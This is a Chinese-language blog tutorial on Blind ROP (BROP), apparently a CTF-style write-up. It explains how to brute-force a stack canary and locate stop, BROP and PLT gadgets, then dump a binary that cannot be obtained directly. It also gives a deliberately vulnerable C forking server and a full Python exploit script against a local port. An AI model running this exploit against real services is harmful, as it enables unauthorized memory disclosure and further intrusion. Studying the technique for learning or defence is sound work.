BROP
无    702    0    0
mut3p1g

BROPBlind ROP,是在没有给二进制文件时将二进制文件dump下来的技术,下面一起来看看。


参考资料
http://wooyun.jozxing.cc/static/drops/tips-3071.html
http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/

0x01 BROP

1. 利用环境及条件

利用环境就是当服务器上运行了一个应用程序,而我们无法获取对应的二进制文件。
利用条件就下面两点:

  • 可以出发栈溢出
  • 程序crash后会复活,并且复活的进程的相关地址、canary都不变

2. 准备工作

由于无法获取二进制文件,所以我们的目标就是将其dump出来,主要思路是通过write来打印出来,函数原型为:

  1. write(int sock, void *buf, int len)

所以我们只要构造如下的gadget就可以了(小小地盗下图XD)

不过在找到这四个gadget之前,还有下面几关需要闯过去。

1) canary

由于我们会导致栈溢出,所以肯定会覆盖到canary,不过可以通过多少位会crash来判断canary的位置,接着通过是否crash来一位一位地爆破就可以了。

2) stop gadget

当绕过了canary后,我们就能够控制返回的地址了,但一般填个地址会由于该地址非法导致crash。但有一种特殊的gadgetstop gadget,表示一断可以导致程序无限循环的gadget,这时程序就相当于被挂起了,但在攻击者看来连接一直持续着。

3) useful gadget

stop gadget的作用是什么呢?就是用来让我们判断有无得到一个useful gadget。如果我们在输入地址后面加入很多个stop gadget(可能有很多个pop),那么如果crash了就说明是我们输入的地址导致的,如果进入了死循环那么说明地址是合法的,也就是useful gadget

4) brop gadget

现在我们获取了useful gadget,那么问题是如何从中间提取出我们需要的4个gadget
首先如图所示的brop gadget可以解决两个gadget(再小小地盗下图XD)

如果我们找到了这样的brop gadget,那么就能从中抽离出

  1. ==> brop_gadget_addr
  2. pop rsi #brop_gadget_addr + 7
  3. pop r15
  4. ret
  5. pop rdi #brop_gadget_addr + 9
  6. ret

想找到这样的brop gadget也比较简单,因为连续6次pop就基本上是这个了,那么我们构造

  1. crash_gadget * 6
  2. stop_gadget

如果最后能进入死循环,那么就说明我们找到了。

5) plt segment

PLT是什么在这就不多说了,我们现在的目标就是找到PLT段。首先要明确一个PLT段的特点,就是其中每一个项都是按16字节对齐的:


同时由于其一般不会因为传入的参数而crash,所以如果我们寻找到了连续的按16字节对齐且不crash的地址,而且他们加6或者11之后也不会crash,那么一般就是PLT段了。
不过比较特殊的就是包括putsprintfwrite这种带输出的函数,会导致判断失误,不过也很容易人工判定具体函数是什么,到时候具体情况具体分析就好了。

6) strcmp plt

gadget已经可以找到rsirdi了,那么问题就是rdx怎么取值。这里我们可以找到一个函数譬如strcmp(a,b),在执行完该函数之后会返回b的长度,这样就间接控制了rdx。(其实只要不是0或者某个地址以至于太大就行)

3. 攻击流程

通过上面的准备工作,我们已经可以获取一些有用的gadget,以及函数的plt
首先我们需要做的就是通过上面的部分找到一个输出的函数,然后根据其调用的参数找到对应的gadget,为了简化问题这里直接用puts来做样例。
由于puts只需要rdi作为参数,所以我们直接从brop gadget取出对应的就行,也就是brop_gadget_addr+ 9

0x02 demo

1. source code

这里采用z牛在2016HCTF的一道题,出题人失踪了
不过z牛为了防止fork boom所以没有在程序中加入fork,而是写了个守护脚本自动重启程序、转发流量,所以这里我讲程序稍微改写了一下,实现时遇到了很多问题,最终参考fork子进程僵尸问题及解决方案得以解决。
为了简化问题,所以不开启canary(避免每次都要报错)以及PIE(为了获取gadget后就不需要再次尝试了)。

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <signal.h>
  5. #include <string.h>
  6. #include<sys/types.h>
  7. #include<sys/wait.h>
  8. int i;
  9. int check();
  10. void signal_handler(int signo) {
  11. if (signo == SIGCHLD) {
  12. pid_t pid;
  13. while ((pid = waitpid(-1, NULL, WNOHANG)) > 0) {}
  14. }
  15. }
  16. int main(void){
  17. setbuf(stdin,NULL);
  18. setbuf(stdout,NULL);
  19. setbuf(stderr,NULL);
  20. signal(SIGCHLD, signal_handler); // solve the problem that child not exit
  21. int fpid = getpid();
  22. int cpid = fpid+1;
  23. int pid = 0;
  24. while (1){
  25. int ret = kill(cpid,0); // if child still alive now
  26. if (ret!=0){ // child exit
  27. pid = fork();
  28. if (pid<=0){ // fork child
  29. break;
  30. } else{ // update child_pid
  31. cpid = pid;
  32. }
  33. }
  34. }
  35. puts("WelCome my friend,Do you know password?\n");
  36. if(!check()){
  37. puts("Do not dump my memory");
  38. }else {
  39. puts("No password, no game");
  40. }
  41. }
  42. int check(){
  43. char buf[50];
  44. read(STDIN_FILENO,buf,1024);
  45. return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
  46. }

2. EXP

  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from mypwn import *
  4. import cPickle
  5. import sys
  6. bin_file = "./brop"
  7. remote_detail = ("127.0.0.1",8888)
  8. libc_file = ""
  9. bp = []
  10. pie = True
  11. p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
  12. OK = 0
  13. CRASH = 1
  14. STOP = 2
  15. def reboot():
  16. global p
  17. p.close()
  18. p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
  19. def bof(data):
  20. if p.recvuntil("password?\n",timeout=1) == "":
  21. reboot()
  22. return bof(data)
  23. p.send(data)
  24. ret = -1
  25. if p.recv(1,timeout=1) and p.recvuntil("no game",timeout=1)=="": # program reboot means crash->1
  26. ret = CRASH
  27. if p.recv(1,timeout=1)=="": # nothing means stop->2
  28. ret = STOP
  29. reboot()
  30. return ret
  31. def bof_dump(data,length):
  32. reboot()
  33. p.recvuntil("password?\n")
  34. p.send(data)
  35. return p.recvline()
  36. class Gadget():
  37. def __init__(self, start, end):
  38. self.start = start
  39. self.addr = start
  40. self.end = end
  41. self.stop = []
  42. self.brop = []
  43. self.plt = []
  44. def show_item(self,item):
  45. print ','.join([hex(i) for i in item])
  46. def show(self):
  47. log.success("show stop:")
  48. self.show_item(self.stop)
  49. log.success("show brop:")
  50. self.show_item(self.brop)
  51. log.success("show plt:")
  52. self.show_item(self.plt)
  53. class BropPayload():
  54. def __init__(self, bof_func):
  55. self.bit = 8
  56. self.bof = bof_func
  57. self.pad = 72
  58. self.padding = self.pad * "M"
  59. self.canary = 0
  60. self.data_file = "gadget.data"
  61. self.gadget_init_start = 0x400000
  62. self.gadget_init_end = 0x401000
  63. def load_gadget(self):
  64. try:
  65. df = open(self.data_file)
  66. data = df.read()
  67. self.gadget = cPickle.loads(data)
  68. df.close()
  69. except:
  70. self.gadget = Gadget(self.gadget_init_start,self.gadget_init_end)
  71. def save_gadget(self):
  72. df = open(self.data_file,'w')
  73. data = cPickle.dumps(self.gadget)
  74. df.write(data)
  75. df.close()
  76. def get_padding(self):
  77. i = self.pad
  78. while True:
  79. i += 1
  80. payload = i * "A"
  81. if bof(payload)==CRASH:
  82. self.pad = i - 1
  83. break
  84. self.padding = self.pad * "M"
  85. log.success("pad is %d "%(self.pad))
  86. def get_canary(self):
  87. for i in xrange(self.bit):
  88. for j in xrange(255):
  89. if bof(self.padding + chr(j))==OK:
  90. self.padding += chr(j)
  91. self.canary = self.canary<<8 + j
  92. break
  93. print "canary %d is %d" % (i,j)
  94. log.success("canary is %s"%(hex(self.canary)))
  95. def get_stop_gadget(self):
  96. log.info("try to find stop gadget..")
  97. addr = self.gadget.addr
  98. while addr+1<self.gadget.end:
  99. addr += 1
  100. payload = self.padding + p64(addr)
  101. if bof(payload) == STOP:
  102. log.success("stop_gadget found: %s"%(hex(addr)))
  103. self.gadget.stop.append(addr)
  104. break
  105. self.gadget.addr = self.gadget_init_start
  106. self.save_gadget()
  107. p.close()
  108. sys.exit(0)
  109. def get_brop_gadget(self):
  110. log.info("try to find brop gadget..")
  111. addr = self.gadget.addr
  112. while addr+1<self.gadget.end:
  113. addr += 1
  114. payload = self.padding + p64(addr) + p64(0)*6 + p64(self.gadget.stop[-1])
  115. if bof(payload) == STOP:
  116. log.success("brop_gadget found: %s"%(hex(addr)))
  117. self.gadget.brop.append(addr)
  118. break
  119. self.gadget.addr = self.gadget_init_start
  120. self.save_gadget()
  121. p.close()
  122. sys.exit(0)
  123. def get_plt_segment(self):
  124. log.info("try to find plt segment..")
  125. addr = self.gadget.addr & 0xfffffff0
  126. count = 0
  127. start_addr = 0
  128. while addr<self.gadget.end:
  129. addr += 0x10
  130. payload1 = self.padding + p64(addr) + p64(self.gadget.stop[-1])*100
  131. payload2 = self.padding + p64(addr+6) + p64(self.gadget.stop[-1])*100
  132. if bof(payload1) == STOP:
  133. if bof(payload2) == STOP:
  134. log.success("possible plt_%d found: %s"%(count,hex(addr)))
  135. if count == 0:
  136. start_addr = addr
  137. count += 1
  138. if count>3:
  139. break
  140. log.success("plt segment fountd:%s"%(hex(start_addr)))
  141. self.gadget.plt.append(start_addr)
  142. self.gadget.addr = self.gadget_init_start
  143. self.save_gadget()
  144. def dump_file(self, opaddr, length, staddr, enaddr): # puts
  145. log.info("try to dump the file..")
  146. addr = staddr
  147. prdi = self.gadget.brop[-1] + 9
  148. binfile = ""
  149. while addr<enaddr:
  150. payload = self.padding + p64(prdi) + p64(addr) + p64(opaddr) + p64(brop.gadget.stop[-1])
  151. ret = bof_dump(payload,length)[:-1] # kill \n
  152. if len(ret)==0: ret = '\x00'
  153. binfile += ret
  154. addr += len(ret)
  155. print binfile.encode("hex")
  156. def prepare():
  157. brop.load_gadget()
  158. brop.get_padding()
  159. if len(brop.gadget.stop)==0:
  160. brop.gadget.addr = 0x400931
  161. brop.get_stop_gadget()
  162. if len(brop.gadget.brop)==0:
  163. brop.gadget.addr = 0x4009b9
  164. brop.get_brop_gadget()
  165. if len(brop.gadget.plt)==0:
  166. brop.gadget.addr = 0x400670
  167. brop.get_plt_segment()
  168. brop.gadget.show()
  169. def attack():
  170. output_addr = brop.gadget.plt[-1]-0x10 # we can see output here
  171. length = 8
  172. brop.dump_file(output_addr, length, 0x400000,0x401000)
  173. return
  174. if __name__ == "__main__":
  175. brop = BropPayload(bof)
  176. prepare()
  177. attack()
觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录